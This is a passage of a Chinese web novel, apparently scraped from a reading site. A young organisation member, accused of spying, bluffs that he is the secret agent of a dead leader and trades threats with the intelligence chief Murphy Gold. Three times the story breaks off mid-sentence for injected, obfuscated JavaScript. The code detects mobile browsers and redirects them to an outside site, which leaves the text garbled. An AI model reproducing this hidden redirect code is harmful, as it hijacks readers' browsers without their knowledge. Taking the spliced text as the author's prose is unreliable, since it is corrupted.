“那倒是奇怪了。”摩菲·戈尔德一手撑脸,笑了笑,眼底却不见笑意,“作为间谍,他总有交接对象,偏偏整个组织里,和他交往最为密切的一共就两个人,一个是和他一样的间谍。你猜,另一个会是什么身份?” 乌镶月理直气壮:“当然是暗恋者!” “对,肯定也是……等等,你说什么?” 一直游刃有余的红发青年卡壳了,像是听见什么不可思议的话,绿色的眼瞳都扩大了。 “我说他暗恋我!”乌镶月继续发挥睁眼说瞎话的天赋,“因此他才总是来打探我的喜好,还带我去各种地方吃饭,不然你以为他为什么老缠着我。” 摩菲这时已经从冲击性的事实里回神,冷笑一声,“你明白间谍的意思吗?一个潜入敌方的人,怎么可能会有心思谈情说爱,而且你还是个刚成年不久的男人,即使胡扯,你也该找个更合适的理由。” “我可没有胡扯。” 黑发少年镇定地反驳,“这世上又不是所有间谍都一样。他喜欢我,我只是被他追求的人,我没有出卖过组织,也没有做间谍,你抓错人了。” 见他这么冷静沉着,摩菲心头疑惑更大了。 到底是因为这位间谍的伪装手段高超,还是对方说的是事实? 他忍不住细细打量面前自称被暗恋的少年。 黑头发,白皮肤,骨架纤瘦,手指修长,大概不是北方人。 一双漆黑的眼瞳,睫毛密密的,右眼下方两颗并列的小痣,盯着人的时候有种缱绻的味道。 摩菲·戈尔德垂下眼眸,忍不住摩挲了下指尖。 “或许你说的有一点道理。” 乌镶月喜出望外,没想到真说动他了,“那……” “但这只是你一面之词。”红发青年恢复了之前笑不达眼底的状态,“另一位当事人的说法,我还没有听过呢。” 听了就完了! 乌镶月立马说:“他对我爱得深沉,现在作为间谍被抓,他肯定会为了撇清关系,说根本没有喜欢过我。” “这就不必你担心了。带他回去。” 说完这话,摩菲·戈尔德就挥挥手,想叫人把他带下去。 回去,回哪里? 乌镶月顿时慌张起来,他压根不想回忆十几分钟前的事,如果要他回到那里等着饿死,还不如现在就和摩菲拼了。 “等等,等一下,我不能回去,我、我还有一件非常重要的事,没有说。” 在再次被两个大汉夹击,拖回暗无天日的地下牢房前,他挣扎着喊出声,“我、我知道你的事,摩菲·戈尔德大人!” 无动于衷,甚至都快走到审讯室外的红发青年停住了。 他叫停了大汉们,才看向一脸惊魂未定的黑发少年,“你知道我的身份?” 口吻里带上了比之前更甚的怀疑。 摩菲·戈尔德没有自我介绍,他也不需要向一个审讯对象自我介绍,普通底层成员理应是不知道他的。 乌镶月清楚这回要是回答得不好,恐怕连回去的选项都没了。 他咽了口口水,瞥了眼旁边的大汉们,“这件事,您确定要我现在就说吗?” 摩菲一挑眉,无所谓地嗤笑一声,让大汉们和看守一起离开了。 整间审讯室里,只剩下他们两人。 “你应该清楚,现在攻击我是自寻死路,我希望你不要这么愚蠢。” 说话的红发青年,手中不知何时出现了一把小刀,灵活地在指尖翻转,似乎下一秒就能扎入某个人的身体。 直接面对威胁,乌镶月反而冷静了许多。 他快速回忆了下自己所知的事,张口就来,“其实我是无相大人的手下。”反正无相大人死了,也没人会来否定。 “手下?”摩菲·戈尔德眼底划过一道锋芒,“作为加卡托兰的一员,我们自然都是无相大人的手下。” 这明显是想打探更多信息的意思,乌镶月心知肚明,却没办法,只能把话说得更清楚,“我是暗桩。专门在暗地里为无相大人做事的。” “暗桩?你?” 红发青年的视线在他身上绕了一个圈,怀疑之色溢于言表。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845864|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怎么了怎么了,小喽啰就不能当暗桩了吗?这是歧视! 他忍下吐槽,换了个说法,“我知道无相大人今天去了我们的大本营。” “这不能证明什么,很多人都看见了。” “对。”乌镶月知道这话说出口就没法挽回,但他必须说,以挽回自己的小命,“但无相大人也说了,之前原定的计划作废,他要更改计划。” 这就不可能是一般的小喽啰能知道的事了。摩菲·戈尔德眼神微闪。 今天在会议室里的人一共三个。除去他自己,就只剩颜诡和无相。 颜诡那家伙诡计多端,指不定憋着什么坏,但不可能把消息泄露给间谍。这一点无相也一样。 间谍的嫌疑可以排除。 但问题是…… “既然你是无相大人的手下,为什么不一开始就说?” 当然是因为你这个混蛋,压根不信我是无辜的,要把我和吃人的家伙放一块,才逼得我不得不捏造身份啊! 乌镶月恨不得一口老血,喷在这个罪魁祸首身上。 但他不能。 “我在执行秘密任务,无相大人希望我不要透露身份。您如果继续追问下去,大概要不了多久,无相大人也会知道您在打探他了。” 这是一个赌。 从今天上午的态度来看,颜诡和摩菲都不敢过多打探无相的事,即使无相说时机未到,也都没有追问。 在这种情况下,他说这是无相大人给的秘密任务,摩菲有一半的可能会放弃追问。当然,也有另一半可能惹怒摩菲,直接把他宰了。他更倾向于前者。 果然,红发青年的笑意淡了几分,“既然如此,我确实不好追问。” 乌镶月松了口气。 “但无相大人没有说过,我不能从旁协助,对吧?” 一口气差点卡在喉咙,他瞪圆了眼睛,反驳,“当然不行!” “有什么不行?” 摩菲看他的眼神又带上了探究,“我和你一样,都是无相大人的手下,即使他不愿意让我知道任务的具体内容,也不会拒绝我帮忙让任务更进一步。” 说是这么说,但又没有这个任务,根本不需要你帮忙啊。 乌镶月紧急转动脑筋,想要给出一个完全不行的理由,摩菲却好像看出了他的心思,先一步开口。 “你这么不情愿,到底是因为你不愿意我抢走功劳,还是说……根本没有这个任务?” 他浑身汗毛倒竖,下意识回答:“当然是你会抢走我的……不对,这个任务是对我的考验,我不需要你的帮忙。” 可恶的家伙,故意给了二选一的选项,想骗他踏入陷阱。 “你不用担心,我对抢功劳毫无兴趣。”红发绿眸的青年扬起一抹爽朗的笑容,“但你继续拒绝下去,只会让我不禁好奇,到底是什么任务需要如此保密。哎呀,说不定会产生即使得罪无相大人,也要暗地里看一看的想法了。” 乌镶月:“……” 这是威胁,毫不掩饰的威胁。 他现在更加深刻地认识到,面前的人不只是上午和颜诡互相斗嘴的青年,还是以情报专家的名声活跃在加卡托兰的男人。 “……好。”最终,他从牙缝里挤出了一个字。 “那真是太好了。”摩菲·戈尔德伸出手,快速又公式化地握住他的,“那祝合作愉快?” “合、作、愉、快。” 5. 第 5 章 “那么,下一步要做什么?” 我怎么知道!乌镶月很想这么回答,奈何问话的红发青年,压根不是能用这个回答打发的人。 自从被放出来开始,摩菲·戈尔德就极其自然地跟在了他身后,美其名曰帮忙。 实则和监视没什么两样。 乌镶月瞥见红发绿眸的青年一脸亲和地与路人交流,讨论最近的粮食价格等问题,只想骂一句人模狗样。 呸,这人还挺会装,刚刚在审讯室里可不是这个样子。 一想到审讯室,他就联想到那个不知道是什么的所谓无相大人派发的任务。 他哪里知道有什么任务?这任务还得有价值,不然根本没有使用他这个暗桩的意义。 可恶,都怪摩菲·戈尔德,如果没有他,他现在早已经包袱款款,远走高飞了。 哪里还用被监视,被看管,还得和一个混蛋一起做任务? 乌镶月闷头直直往前走,想要把摩菲·戈尔德甩掉,对方却不紧不慢地跟过来,好似根本不担心会跟丢。 事已至此……乌镶月盯着摩菲·戈尔德的悠哉悠哉的模样,小反派的心思在蠢蠢欲动……不如杀了他吧。 再怎么厉害,摩菲·戈尔德也是个人类,没有了炼金器具,没有了众多护卫,就是个普通的有一点实力的人类。 这样的人,只要被他引到偏僻处,再略施小计,想要杀死岂不是易如反掌? 他越想越觉得,很有搞头。不仅能有效解决问题的源头,还能回归自由,重新规划逃跑。 “你一脸若有所思的表情呢,有什么坏主意了?” 不知什么时候,摩菲·戈尔德走到了他身后,突然出声吓了他一跳。 “什么坏主意。”乌镶月心虚地大声起来,“我在想那位大人派发的任务,现在我有思路了,你跟我来。” “去哪里?” “你不是说不问,只会帮忙吗?” “对啊,我不会问全部的任务,但总要问清楚执行的部分,才能更好地帮忙呀。” 混蛋情报家,尽会搞文字把戏。 乌镶月一想反正待会要干掉这人,就压下了不爽,眼睛一眨就编出了一个谎话。 “我们去找隐藏的探子,他们会在今天接头。” 说罢,贯彻了绝不多说的优良品质,转身往另一个方向走去。 这回是他胸有成竹,完全不担心对方不会跟上来。 摩菲·戈尔德皱了皱眉,果然没有多问。 两人从宽敞的大路,慢慢走到偏僻的小道,又七绕八绕,绕进废弃的贫民区,穿行在狭小到只能侧着身子走过的巷子里。 现在是春天,马挪河城却依旧寒风萧瑟,愁云惨淡的。阳光稀疏,傍晚就黑得特别快。不过走了一阵子,天色就黯淡了许多,更别说狭窄的巷子。衣角摩擦的声音与沙沙的风吹声,总让人有不好的联想。 “这里真是他们接头的地方?” 越走越深,也愈加荒无人烟,气氛也逐渐安静到诡异。红发青年挑了挑眉,似乎终于产生了疑惑。 “当然。” “你应该知道,你杀不了我吧?” “……当然。” 两人一问一答间,好似一片相安无事,没多久,他们走出弯弯绕绕的巷子,来到一处摇摇欲坠的楼房旁。 “他们会在这里交接。”乌镶月指了指前方不远处,又指了指楼房,“我们在这里等,不容易被发现。” 贫民区的很多房子都这样,搭建的时候不过是为了有个地方住,杂乱的木材与泥土砖,加一些芦苇茅草就足够。面前这房子破破烂烂,半边墙壁都塌了,一看也是胡乱搭建的高危住房。 要是来一阵大风,说不定一下就能把这房子吹倒。 摩菲略一打量,就否决了提议:“这里不行,太危险了。” “好,那你选。”一路上都显得独断专行的少年,这时大方让出了决定权。 这反而让摩菲更加警惕,怀疑这里是不是有什么陷阱。但与此同时,他又颇为自傲,相信就这么一个平平无奇的小喽啰,根本不可能伤得了他。 “这里。”用挑剔的目光扫了一圈,摩菲勉勉强强选中了一处高地。周围没有建筑,全靠一块大石头遮挡身形。如果消息属实,从下方往上看,很难察觉上方有两个人。 “好。”黑发少年依旧爽快答应了。 这很奇怪。 摩菲·戈尔德再次打量旁边人的样子,没能看出什么问题。 “你叫乌镶月,对吧。”他记得在资料上看过的名字,一般情况下,他不会对这种底层人员太在意。 “嗯。” “你为什么加入组织?” 摩菲也记得资料的理由,上面写的是…… “因为仰慕无相大人。” 这不奇怪,事实上组织里因仰慕无相而加入的成员很多。大多都是底层或中层。 “仰慕啊……”摩菲眼眸闪了闪,“你跟在无相大人身边多久了?” “……这不能说。” 摩菲打量了两眼黑发少年,自然地转换了话题,“无相大人对你看重到这种程度吗?居然连这个也不让说。” 聊天是缓和气氛的好办法,何况其中一方有意调节。两人一同躲在高坡上,氛围忽然变得平常起来,似乎之前隐约感受到的危险都是错觉。 “要是无相大人有很多像你这样的手下,对我们可是个威胁了。” 摩菲开始沿着重视的话题,旁敲侧击无相有多少这种暗桩 “威胁与否,是你决定,而不是无相大人决定的。”乌镶月给出模棱两可的回答,手已经摸向后腰处冰冷的利刃。 红发青年皱眉露出思索的表情,似乎没有注意到旁边少年的神色变化。 乌镶月是杀过人的。 在北屿城还没有被加卡托兰占据,仍然属于贵族统治下的时候,奴隶商人很多。贵族最喜欢的,商人最好卖的,就是容色清丽的少男少女。 乌镶月记得第一次用刀杀死那个奴隶商人的感觉。他那时太小,准头不好,第一下没能刺中要害,让那恶心的家伙有机会喊叫出声。第二下,即使有鲜血腻滑的阻碍,他也稳稳地刺中了。 不是因为他克制了恐惧,而是那把刀实在太好。原本用来割掉舌头、不留难看伤痕的刀,总是很好的。 现在这把刀在他的手中,不再像第一次那样颤抖、冰凉、腻滑。 只需要一刀,划开脖颈,在喷涌的血液中割断出声的喉咙,他就没法呼吸,也没法呼救,更不能再逼问他,夺取他的自由。 杀意凝聚,利刃悬停于红发青年背后。 “来了!” 摩菲·戈尔德骤然出声,惊得乌镶月的气息一乱,下意识把刀藏起来。 “什么?” 他惊魂未定,偷偷往后挪,观察红发青年的动作,警戒对方的反扑。 摩菲挑了挑眉,压低了嗓子,“还能是什么,你带我来抓接头人,现在怎么还惊讶起来了。” 啊?! 乌镶月这回是真惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845865|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶了,他往下面一瞧,真看见两个鬼鬼祟祟的男人,出现在了之前他指过的空地上。 但这不可能,他明明是瞎说的。难道是摩菲·戈尔德安排的?想套他的话? 乌镶月越想越觉得这里可能藏着一个巨大的阴谋。 但摩菲在一旁看着,他不敢把想法表现出来,只能压下惊讶,继续虚与委蛇:“他们来得比我想象中早一点,不一定是我要抓的那两人。” 不是不一定,是肯定!怎么可能会有那么巧的事!现在摩菲·戈尔德还不动手,可能还有顾忌。 “保险起见,我们还是再等一等……”他要找机会逃跑,不然等摩菲·戈尔德诡计暴露,就完蛋了。 “不必了。” 话还没说完,摩菲突然用手抵住唇,发出了夜莺一样清脆的鸣叫声。 两长一短,连续两次后,哒哒的脚步声从四面八方传来了。 有部队! 乌镶月顿时心惊肉跳,左右环顾,思考现在抓住摩菲·戈尔德要挟的可能性。 下方那两人自然也听见了,当即慌张地往外跑。可已经来不及,一身黑色军装的加卡托兰小队,将他们包围,轻而易举卸下了他们反击的武器,将人抓住了。 这一切仅仅发生在两分钟内。 乌镶月还没为摩菲的奇怪举动惊讶,事情就结束了。 “你……”为什么要抓那两个人?他们不是你安排的吗? 他看向一脸轻松起身的红发青年,感觉自己的嘴里粘黏了胶水,不知道从哪里现在说话是不是自爆,也不知道接下来要怎么跑。 显然,这里全是摩菲·戈尔德的人。 想到这里,他又一阵悚然。这个骗子,根本不是单独一个人跟过来的。 如果刚刚真的刺下那一刀,他真的能够顺利杀死面前这个人,而且全身而退吗? “嗯?”摩菲发现了他的注视,笑意盈盈,好似安慰,“别担心,功劳不会抢你的,只是帮你抓人,重要的情报还是你提供的,相信无相大人会理解的。” 理解啥,理解他不但假扮自己,还胡乱杜撰任务吗? 乌镶月沉默了一会,眼见着其他人要把那两人带走了,才开口。 “你要把他们带去哪里?” “当然是审讯室。” 为什么是审讯室?难道是为了戳破他口中的假任务? 乌镶月不知道他在卖什么关子,只能咬牙继续套人设,“但那是无相大人要的人!你不能这么带走他们,他们应该和我走。” “和你走?”摩菲的眼珠子在他身上转了一圈,“好啊。你和我们同行,他们不就算是和你走了吗。” “你这是胡搅蛮缠!”乌镶月看得出来,对方不想放人了,他咬了咬牙,好似不情愿地退了一步,“你带走他们也可以,作为交换,你要为我备一匹好马。” “不。”对方回答得很快,“你现在还不能走。” 被轻易看破了想法,乌镶月神色凝重,越发觉得这人不好对付。 “凭什么?我是无相大人的手下,不是你的手下。我要去找无相大人汇报,你阻拦我,是想违抗无相大人吗?” “我可没有这个意思。” 掩映的稀薄月色下,红发青年侧过脸,半张脸被黑暗吞没,唯有那双绿莹莹的眼眸,似冷血动物般闪烁着光芒。 “但你真的以为,我会好心到,让一个刚刚想杀我的人若无其事离开?” 他发现了! 乌镶月呼吸微滞,心脏直直沉了下去。 6. 第 6 章 完蛋。 都不知道第几次说了。 但乌镶月所能说的,好像也就这么一句,完蛋。 仅仅隔了一天,他又回到了地下牢房里。 唯一能庆幸的是,似乎想继续看他垂死挣扎,又似乎是看在他无相大人暗桩的这一层身份上,摩菲听了他的据理力争,同意给他分单人牢房,并且送来了食物和水,让他不至于饿死,或者饿到干一些不是人的事。 乌镶月讨厌饥饿,也讨厌变成野兽。 狼吞虎咽吃完了送来的餐食,他躺在地上发呆。地面又冷又硬,还充斥着潮湿发霉的气味,闻久了,好像自己也泡在腐烂的泥土里了。 估计过不了多久,他真要被埋土里,腐烂发臭了。 作为没什么用的小喽啰,乌镶月姑且还有点自知之明。 首先,他欺骗了摩菲·戈尔德,说自己是无相的暗桩,编了一个假任务,结果抓到了两个假探子。 等摩菲·戈尔德审完他们,一定能明白,根本没有所谓的任务,他也不是无相的暗桩。 即使侥幸那两人真是什么探子,他之前想杀摩菲·戈尔德灭口,被逮个正着。光这一件事,就足够摩菲·戈尔德把他大卸八块了。 现在……似乎只剩死路一条了。 乌镶月想着想着,撑不住疲劳的眼皮,大概也因饱餐一顿的莫名安心感,竟不知不觉睡了过去。 叫醒他的不是穿过窗柩的第一缕光,而是哐哐作响的拉门声。 他一个激灵从地上翻起来,手都摸到刀柄了,正好对上开门的肌肉老兄的眼神。 这位大哥他曾经见过的,是一天前带他去审讯室那位。 秉持着伸手不打笑脸人的原则,乌镶月挤出一个笑脸,“早上……好?” 肌肉老兄不语,肌肉老兄一脸冷漠。 然后抓小鸡仔一样拽住他的脖颈子,试图把他直接拖出来。 “疼疼疼!”对方手劲儿太大,乌镶月被衣服勒得差点不能呼吸,当即大喊起来,“好歹同事一场,有我今日,说不定是你的明日啊。如果要死,至少给我个痛快,这样彼此折磨,我做鬼也不会放过你!” 不知道这一堆啰嗦话里,到底哪一句打动了肌肉老兄。 总之,乌镶月没有惨被自己衣服谋杀。 他再次被“请”到了审讯室。 一回生两回熟,何况在看见肌肉老兄的时候,乌镶月就有了预料。 看见一脸闲适、悠哉翘脚的红发青年,他先一步出声了。 “无论如何,我都是无相大人的手下,你如果想杀我,就不怕触怒无相大人吗?” 这是他唯一攥在手中的牌。事到如今,不管有没有用,都得打出来试试。 “哦?”摩菲·戈尔德似笑非笑望着他,“那如果无相大人知道你想杀了我,他会生气吗?” 乌镶月抿唇,目光扫过桌上的纸张与灯台,走近了一步。 “你可以亲自去问他。你叫我来,是为了说这种废话?” “我以为你知道我为什么叫你过来。”摩菲·戈尔德指了指桌上的纸张,“你的东西。” 什么东西?不会是马上要施加在他身上的酷刑?又或者纸上涂满了毒药,一碰就死? 乌镶月脑中跳跃出一个接一个的阴谋,结局无一例外,全是他啪叽倒地,而摩菲·戈尔德在一旁哈哈大笑。 垃圾高层,想杀人还弯弯绕绕。 “我的……东西?”他缓缓靠近桌子,也距离红发青年越来越近。 在指尖触碰到那一沓纸之前,乌镶月猛然转身,银亮的刀光闪烁,在空中划出锋锐的杀气。 轰隆,外界骤然响起雷声。 惨白的电光穿过云层,窜入了这间狭小的审讯室,一瞬照亮了对峙的两人。 翻倒的椅子旁,黑发少年压在红发青年身上,手中一把锋利的刀刃抵住青年的脖颈,眉头压得极低,漆黑的眼底却是一片死寂,宛如焚烧过后的荒芜平原。 声音却低低的,甚至透出一丝异样的柔和。 “你要赌一赌吗?你先扎穿我的心脏,还是我先割断你的咽喉?” “呵。”被迫仰着头的摩菲笑了一下,喉结滚动间,擦过锋利的刀锋,便多了一道细小的伤痕。 像是一个轻佻过头的招呼。 但他终究缓缓松开了抵着黑发少年后心的小刀。 ——任由其哐当一声掉落在地。 “我现在是真的好奇了。”被完全挟持的男人语气依旧悠然,“你到底为什么对我有那么大的杀心?我自认除了一开始不小心抓错你,后来可没有做错什么,都是你单方面想杀了我吧?” 两人贴合得太近,摩菲·戈尔德说话时的胸腔起伏、发音的震动都能清楚感受到。 乌镶月厌恶地拧眉,却没有放下刀,目光望向审讯室外,思考该怎么利用摩菲·戈尔德逃出去。也多亏他们没有把他放在眼里,连武器也不搜查,就这样关他进去了。 这是下策,但他除了这个办法,也没有别的方法了。谁叫他既没有会担心他生死的父母亲朋,也没有能招呼命令的下属仆从。 他只是个小喽啰,唯一值钱的,唯一拥有的,也就是这条命和微不足道的自尊心了。 “乌镶月。”摩菲·戈尔德忽然喊了一声他的名字,似乎是不满他的沉默,“你一直把无相大人挂在嘴上,难道不觉得现在需要考虑一下,杀了我,该怎么向无相大人解释吗?” 解释个屁!无相都在下面等你了! “闭嘴!”乌镶月粗暴地将刀嵌得更深了几分,顿时划出了一道红艳艳的小溪。 他烦的不止是摩菲喋喋不休的话语,罔顾生死的态度,更是对方每说一句话,就不断震动的胸腔频率。 太鲜活了,也太真实了。 好像在说,他要杀的,真的是一个和他一样,会呼吸会说话会动的人。 摩菲·戈尔德仅仅安静了一会,又开始不知死活地叭叭:“你不愿意让我做个好死鬼,我却得完成约定。在杀我之前,你总得看看那份资料。不然我们昨天辛苦抓到的探子,可一点用也没有了。” 探子的资料? 胡扯八道,探子真不真他能不知道吗? 乌镶月冷笑一声,“你在那上面到底下了什么毒,威逼利诱也要让我碰。” “下毒?”摩菲·戈尔德一顿,忽然明白过来,“你以为我会报复昨晚的事,因此杀你?” “你做了什么你自己清楚。既然你想拿,那你去拿来!” 乌镶月用下巴点了点,刀尖一寸未离,支使摩菲·戈尔德去拿散落在地的资料。 红发青年莫名其妙闷笑了两下,伸手在地上摸索了片刻,捏住资料的一角,递了过来,“大人请看吧。” 语气恶心巴拉的。 乌镶月让他举着资料不许动,目光随意扫了两眼,实际在等毒发的时刻。 纸张上肯定有毒。等毒发到这人说不出话,他就大喊救命,然后趁着其他人抢救摩菲·戈尔德,乱作一团的时候逃跑。 计划是这么计划的,但他看清资料上的字,还是有一瞬间觉得这世界疯了。 上书——“帝国军提前行动情况汇报”。 第一页就写清楚了,这是从昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845866|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚那两人嘴里问出来的。因为帝国军打探到了他们之前的计划,因此做出了提前行动的决断。他们两人交接是为了将消息传递给潜伏的其他人,好在关键时刻引发混乱,背刺加卡托兰。 乌镶月越看越觉得离谱。 不是,昨晚那两个倒霉蛋,还真是探子? 而且还真的是来交接重要情报的? 不,这不可能。 “你在骗我。”乌镶月恶狠狠瞪向红发绿眼的青年,他知道这人擅长情报战,现在弄个假情报也是轻轻松松,“你有什么阴谋?” 奇怪的点在于,骗他有什么用? 已知他的假身份是无相大人的暗桩,他需要一份从探子那里的情报。所以制造这份假情报,是为了让他被无相大人惩罚? 摩菲·戈尔德表情没什么变化。 “你是无相大人的暗桩,我没有必要骗你。要杀我的人很多,你不过是其中之一,大可不必担心我的报复。证据就是,如果这份资料下毒了,现在我应该已经死了。另外,你现在最重要的,不是杀了我,而是把这份情报安全交给无相大人。他需要这份资料,并在接下来的战役中发挥作用,你应该明白孰轻孰重。” 这一番话下来,好像他才是那个大难临头还不知轻重,只在意私人恩怨、毫无道义的家伙了。 啊呸,尽会花言巧语!说的那么好听,前天对无相大人不是还多番试探。 乌镶月短暂恼火后冷静下来。 而且,这一切的前提是,无相没死。 他清楚得很,这份资料即使送出去,也到不了无相手上。只有他这个假货,不仅对计划一无所知,还打算逃跑。 “我当然知道要怎么做。”他眼珠一转,换了思路,“但我不相信你。你需要向我证明,你没有骗我,也没有欺瞒无相大人。”以防万一,他还拿了无相做筏子。 “证明?”摩菲·戈尔德似乎觉得好笑,也确实笑了两声,“无相大人一看就能明白这份资料的真假。你作为他的暗桩,应该知道,对无相大人来说,根本不需要证明。” 鬼知道啊。乌镶月垂下眼睫,暗暗记住这件事,“他知道。但我不知道,你说不想杀我,可在资料里做一点无关紧要的假,让无相大人发现,导致我吃一点教训这种事,应该做得到吧。” 红发青年的表情一瞬间僵了下,又扬起笑,破罐子破摔似的。 “你想杀我,我回以教训,怎么看,都是我亏了呀。” “是吗?” 不知道什么时候,黑发少年捡起了掉落的小刀,冰冷的触感划过他的脸颊,像一条小蛇,最后停在他的眼睛上。 浅薄的刀尖对准翠绿的眼眸,似乎下一秒就能扎入。 “那我们来详细聊一聊吧,你到底在这份资料写了什么。如果说的好,我会给你留一只眼球,如果不好……” 少年笑了笑,弯起的眼眸里,藏起漆黑的恶意与杀气。 “你可以选择,还能留下什么。” 啪嗒、啪嗒,自高空而来的水珠于一墙之隔,摔落成千万片。 摩菲·戈尔德一瞬间瞳孔骤缩,又忍不住舔了舔唇,发出一道气音,“呵。” 他好像确实小看他了。 自称暗桩的组织底层少年,像一眼望到底的普通人,资料上记载的短短文字毫无异常,却又好像藏了秘密,正如此刻抵在脖颈前,那把过分锋利的刀。 让人忍不住在战栗之余,产生一点轻微的、致命的好奇。 于是这一刻,血液逆流,心跳乱套的响动,宛如一场急促的春雨。 预示着某些事物,即将破土而出。 7. 第 7 章 经过种种曲折,乌镶月得出了结论。 ——摩菲·戈尔德真的相信了他是无相的暗桩,并且没有想杀他的意思。 至少暂时是这样。 管它是不是阴差阳错下的结果,乌镶月立刻放弃了下策,也不威吓要戳瞎人了,找摩菲·戈尔德要了一匹马和若干物资,宣称自己现在要把消息赶紧给无相大人。 摩菲·戈尔德给了一匹马,却没有给物资。 “以无相大人以往联系我们的频次来看,他不会在太远的地方。你要这么多物资,会让人怀疑你是畏罪潜逃的。我这是在好心帮你。” 红发青年一本正经这么说,不知道有意无意说了畏罪潜逃这个词,但在乌镶月耳朵里,就是纯粹的挑衅。 “谁信你好心。”他嘀咕了一句,到底没有强求物资。 他的本意就是拿到马,然后跑得远远的。之后任凭洪水滔天,也和他没有关系了。 “说起来,忘了向你道歉。之前抓你的事,是我推测有误。” 临走前,摩菲·戈尔德忽然来了这么一句,“我已经审问过杰夫·李德,你不是和他一样的间谍。他承认只是因为喜欢你,追求你才不断找你吃饭。” 欸? 外面在淅淅沥沥下小雨,难得的潮湿感,却让人觉得越发冷了。 乌镶月牵着棕色的马,一脸茫然地走出了阴暗的关押区域。 杰夫·李德,之前那个牵连他的间谍,居然,真的喜欢他?那位兄弟不是和他一样的美食爱好者才总是一起吃饭的? 最重要的是,那不是他胡编乱造的事吗? 他忍不住回忆这两天发生的事,他说杰夫喜欢他,结果杰夫真的喜欢他。他说会有两个探子在贫民区交接,结果真的出现了两个探子。 “难不成……我拥有了某种特殊的能力?” 比如传说中的言灵? 一想到这点,乌镶月连逃跑的事都不急了,当即热血上头,想要试验一下这份新获得的能力。 正好他走到了原本住宿的楼下。 也不知道他被抓走的那天,汤姆和其他人说了些什么,徘徊在这附近的加卡托兰成员,一个个看他的眼神都古怪得很,平时还有人和他搭话,今天一路走来,竟一个都没有了。 乌镶月不觉得多失落,但不想被当猴子一样看,当即小声说,“我的包袱会被人送出来给我。” 试试言灵的效果,如果包袱真的被送出来,他就不用再上去一趟,迎接更多人的视线了。 一分钟、两分钟……五分钟,衣服都被雨水打湿透了。 什么都没有发生。 难道是声音不够大?可之前也没有多大声音啊。那是说辞的问题吗?不清楚。 总归是得试试。乌镶月清了清嗓子,大声道:“有人会送我的东西出来给我!” 这话一出,周围人都被吓了一跳。你看看我,我看看你,不知道他在说谁,也不知道他说给谁听。 “他怎么回事?” “谁知道?之前汤姆不是说他可能是间谍吗?” “现在这么光明正大,还胡言乱语,难道脑子被审坏了?” 旁人的议论传入耳中,即使是自诩脸皮厚的乌镶月,也忍不住恼羞成怒。 可恶,我就知道汤姆在造谣生事! 他不想继续在楼下等了,当即冲上三楼,跑回了房间。 然而一看清房间内的模样,乌镶月心下一凉。 房间内摆设东倒西歪,宛如台风过境,把所有值钱的玩意卷了个干净,就剩下几件被踩了几脚的旧衣服,和不值钱的小摆件还在了。 他知道自己这是遭贼了,火冒三丈跑出门外,冲着下方喊, “你们谁偷拿了我的东西!交出来!不然我喊处刑队的人来了!” 楼内无人应答。 有人看他一眼,又漠然移开视线。有人好奇观望,默不作声。有人则嬉笑出声,有意讽刺。 “谁知道你东西去哪了?都被处刑队抓走的人了,能活着回来算你命大,你那堆破烂玩意,随便谁都能捡走。” 乌镶月当即把矛头对准那人。 “这么说,就是你偷走了我的东西?组织内有规定,如果有公然偷盗者,一律关进刑法所!” “你胡说八道什么!” 被这么一威胁,那人的神色当即慌张了起来,看向其他面露怀疑的人,“不是我!我才没偷他的东西。这两天他的房门大开,谁都能进去转一圈,谁知道是哪个拿走了东西,我只不过说了事实,怎么可能是我!” 乌镶月越听越气,他当时被生拉硬拽走的时候,来不及关上门,以为至少会有人帮忙看顾,没想到这些人已经认定他回不来,竟然这么随意就拿走了他的家当。 “行,你们都不说,那就等着处刑队的人来调查吧!” 他抄起房间里剩下的几件东西,关上门,狠狠瞪了他们一眼,就披上雨衣,冲到了外面。 这里待不下去了,他得去其他地方。 乌镶月翻身上马,朝着城外闷头跑了一阵子。 雨水打湿世界,灰蒙蒙的天气里,他像是从一场云雾,穿梭到另一场云雾。 马蹄声扬起,踏碎水洼,他俯趴在马背上,眼见出了城,却忽然不知道该往哪里去了。 即使是治下严谨的加卡托兰里,还是会发生欺凌、盗窃与抢夺。他不去找处刑队,是知道这件事寻常到他们根本不会管。 其他地方会更好吗? 会有地方住,有面包吃,还能够容纳他这样,没有来路、没有出身、也没有一技之长的小喽啰吗? 乌镶月猛地拉紧了缰绳,棕马嘶鸣一声,高高扬起蹄子,又原地踱了两步,停了下来。 他直起身子,回望刚才迫不及待想要逃离的那座城市。 这是座普通的城市,与其他边境小城没什么区别。唯一特殊的是,城内最高的那座塔上,挂着一面旗帜。 紫罗兰的底色,金边的花纹,正中央是一只被射落的金鸟,代表被推翻的王室与王权。 